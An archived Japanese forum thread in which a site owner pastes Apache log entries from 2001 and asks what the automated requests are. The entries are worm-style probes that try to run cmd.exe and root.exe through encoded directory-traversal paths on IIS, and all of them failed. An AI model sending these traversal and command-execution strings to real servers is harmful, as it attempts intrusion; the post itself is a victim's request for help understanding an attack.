最近、こんなの来ます、、、
■ このスレッドは過去ログ倉庫に格納されています
0001かるぴすうぉ〜た〜
NGNGなんか故意にやっているのではなく、定期的になんらかのソフトを使ってやっているようです。
404と出ているので、被害がでているようには見えないのですが、やはりヘンなログが残ると不気味です。
これ、なんでしょう?
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:33 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 334
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:33 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 332
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:33 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 342
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 342
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 373
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 373
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 389
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356
apacheのログより。
■ このスレッドは過去ログ倉庫に格納されています